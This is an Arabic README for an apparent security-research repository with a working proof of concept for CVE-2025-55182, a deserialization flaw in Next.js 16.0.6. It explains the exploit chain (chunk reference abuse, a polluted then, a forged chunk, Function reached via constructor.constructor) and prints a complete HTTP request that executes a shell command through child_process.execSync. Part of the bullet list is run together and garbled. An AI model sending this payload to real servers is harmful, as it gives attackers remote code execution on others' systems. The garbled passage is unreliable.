
أكثر تركيزًا على الاستغلال؛ رائع لمستودعات أبحاث الأمان.
يحتوي هذا المستودع على إثبات مفهوم (POC) عامل لـ CVE-2025-55182، وهي ثغرة أمنية حرجة لإلغاء التسلسل تؤثر على Next.js 16.0.6.
يستغل الاستغلال إلغاء تسلسل الكتلة $@ و Chunk.prototype.then للحصول على سيطرة كاملة على عملية حل الكتلة وتحقيق تنفيذ تعليمات برمجية عشوائي (RCE) على الخادم.
يستخدم Next.js كائنات Chunk داخلية وآلية تدفق/إلغاء تسلسل لإجراءات الخادم.
من خلال إساءة استخدام $@ لإلغاء تسلسل مرجع Chunk وحقن Chunk.prototype.then في الكائن الجذري، يمكن للمهاجم:
then(...) مع يتحكم به المهاجمthisstatus للكتلة إلى resolved_modelinitializeModelChunk بكتلة مزيفة يتحكم بها المهاجم بالكاملchunk._response للوصول إلى سلوك داخلي خطيرالهدف النهائي هو تشغيل إلغاء تسلسل Blob، الذي ينفذ استدعاءً مثل:
response._formData.get(response._prefix)
من خلال تعيين response._formData.get = Function ووضع تعليمات برمجية عشوائية في response._prefix، يمكن للمهاجم تنفيذ أوامر نظام عشوائية.
يُظهر طلب HTTP في poc/CVE-2025-55182.http الاستغلال ضد Next.js 16.0.6 الذي يعمل محليًا، مما يؤدي إلى تشغيل xcalc عبر child_process.execSync:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
يتم توفير هذا المشروع لأغراض تعليمية وبحثية فقط. لا تستخدم هذا الاستغلال على أي نظام لا تملكه أو ليس لديك إذن كتابي صريح لاختباره.
المؤلف لا يتحمل أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج.